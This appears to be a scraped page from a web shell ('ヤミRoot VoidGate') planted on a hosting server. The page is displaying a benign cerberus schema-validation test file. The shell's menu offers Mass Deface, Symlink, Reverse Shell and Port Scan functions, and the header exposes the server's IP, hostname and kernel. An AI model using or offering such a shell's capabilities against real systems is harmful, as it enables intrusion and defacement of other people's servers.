ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
alt
/
python35
/
lib
/
python3.5
/
site-packages
/
cerberus
/
tests
/
Viewing: test_schema.py
# -*- coding: utf-8 -*- import pytest from cerberus import Validator, errors, SchemaError from cerberus.tests import assert_schema_error def test_empty_schema(): validator = Validator() with pytest.raises(SchemaError, message=errors.SCHEMA_ERROR_MISSING): validator({}, schema=None) def test_bad_schema_type(validator): schema = "this string should really be dict" exp_msg = errors.SCHEMA_ERROR_DEFINITION_TYPE.format(schema) with pytest.raises(SchemaError, message=exp_msg): validator.schema = schema def test_bad_schema_type_field(validator): field = 'foo' schema = {field: {'schema': {'bar': {'type': 'strong'}}}} with pytest.raises(SchemaError): validator.schema = schema def test_unknown_rule(validator): message = "{'foo': [{'unknown': ['unknown rule']}]}" with pytest.raises(SchemaError, message=message): validator.schema = {'foo': {'unknown': 'rule'}} def test_unknown_type(validator): field = 'name' value = 'catch_me' message = str({field: [{'type': ['unallowed value %s' % value]}]}) with pytest.raises(SchemaError, message=message): validator.schema = {'foo': {'unknown': 'rule'}} def test_bad_schema_definition(validator): field = 'name' message = str({field: ['must be of dict type']}) with pytest.raises(SchemaError, message=message): validator.schema = {field: 'this should really be a dict'} def bad_of_rules(): schema = {'foo': {'anyof': {'type': 'string'}}} assert_schema_error({}, schema) def test_anyof_allof_schema_validate(): # make sure schema with 'anyof' and 'allof' constraints are checked # correctly schema = {'doc': {'type': 'dict', 'anyof': [ {'schema': [{'param': {'type': 'number'}}]}]}} assert_schema_error({'doc': 'this is my document'}, schema) schema = {'doc': {'type': 'dict', 'allof': [ {'schema': [{'param': {'type': 'number'}}]}]}} assert_schema_error({'doc': 'this is my document'}, schema) def test_repr(): v = Validator({'foo': {'type': 'string'}}) assert repr(v.schema) == "{'foo': {'type': 'string'}}" def test_validated_schema_cache(): v = Validator({'foozifix': {'coerce': int}}) cache_size = len(v._valid_schemas) v = Validator({'foozifix': {'type': 'integer'}}) cache_size += 1 assert len(v._valid_schemas) == cache_size v = Validator({'foozifix': {'coerce': int}}) assert len(v._valid_schemas) == cache_size max_cache_size = 126 assert cache_size <= max_cache_size, \ "There's an unexpected high amount (%s) of cached valid " \ "definition schemas. Unless you added further tests, " \ "there are good chances that something is wrong. " \ "If you added tests with new schemas, you can try to " \ "adjust the variable `max_cache_size` according to " \ "the added schemas." % cache_size def test_expansion_in_nested_schema(): schema = {'detroit': {'schema': {'anyof_regex': ['^Aladdin', 'Sane$']}}} v = Validator(schema) assert (v.schema['detroit']['schema'] == {'anyof': [{'regex': '^Aladdin'}, {'regex': 'Sane$'}]})
Coded With 💗 by
0x6ick